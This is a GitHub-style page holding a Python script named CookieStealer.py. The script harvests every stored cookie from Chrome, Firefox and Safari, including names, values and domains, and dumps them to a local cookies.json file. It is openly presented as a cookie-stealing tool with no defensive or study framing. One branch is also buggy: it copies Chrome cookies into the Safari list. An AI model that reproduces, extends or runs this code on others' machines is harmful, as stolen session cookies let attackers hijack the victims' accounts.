-
Notifications
You must be signed in to change notification settings - Fork 9
/
CookieStealer.py
executable file
·87 lines (77 loc) · 2.75 KB
/
CookieStealer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import lib_bc
import json
print("""
*** RUNNING 'CookieStealer.py' ***
""")
try:
print("[!]Getting chrome cookies...")
chrome = lib_bc.chrome()
print("\t[+]Got chrome cookies without any exceptions!")
except:
print("\t[-]Had a problem while getting chrome cookies skipping chrome.")
chrome = None
try:
print("[!]Getting chrome firefox...")
firefox = lib_bc.firefox()
print("\t[+]Got firefox cookies without any exceptions!")
except:
print("\t[-]Had a problem while getting firefox cookies skipping firefox.")
firefox = None
try:
print("[!]Getting safari cookies...")
safari = lib_bc.safari()
print("\t[+]Got safari cookies without any exceptions!")
except:
print("\t[-]Had a problem while getting safari cookies skipping safari.")
safari = None
print("[!]Creating dict for all cookies found...")
cookie_list = {
"chrome": [],
"firefox": [],
"safari": []
}
print("\t[!]Creating dict for chrome browser cookies...")
if(chrome!=None) and (len(chrome)!=0):
for cookie in chrome:
cookie_list["chrome"].append({
"Name": cookie.name,
"Value": cookie.value,
"Domain": cookie.domain,
"Secure": str(cookie.secure),
"ExpireTime": str(cookie.expires)
})
print("\t\t[+]Chrome browser cookie dict created!")
else:
print("\t\t[-]No chrome browser cookie found, so no dict created.")
print("\t[!]Creating dict for firefox browser cookies...")
if(firefox!=None) and (len(firefox)!=0):
for cookie in firefox:
cookie_list["firefox"].append({
"Name": cookie.name,
"Value": cookie.value,
"Domain": cookie.domain,
"Secure": str(cookie.secure),
"ExpireTime": str(cookie.expires)
})
print("\t\t[+]Firefox browser cookie dict created!")
else:
print("\t\t[-]No firefox browser cookie found, so no dict created.")
print("\t[!]Creating dict for safari browser cookies...")
if(safari!=None) and (len(safari)!=0):
for cookie in chrome:
cookie_list["safari"].append({
"Name": cookie.name,
"Value": cookie.value,
"Domain": cookie.domain,
"Secure": str(cookie.secure),
"ExpireTime": str(cookie.expires)
})
print("\t\t[+]Safari browser cookie dict created!")
else:
print("\t\t[-]No safari browser cookie found, so no dict created.")
print("\t[!]Saving the duct in json file...")
with open('cookies.json', 'w') as f:
f.write(json.dumps(cookie_list))
print("\t\t[+]Cookie list saved to the 'cookies.json' file!")
print("\n*** COOKIES ARE SAVED TO 'cookies.json' FILE ***")
print("*** EXITING PYTHON ***")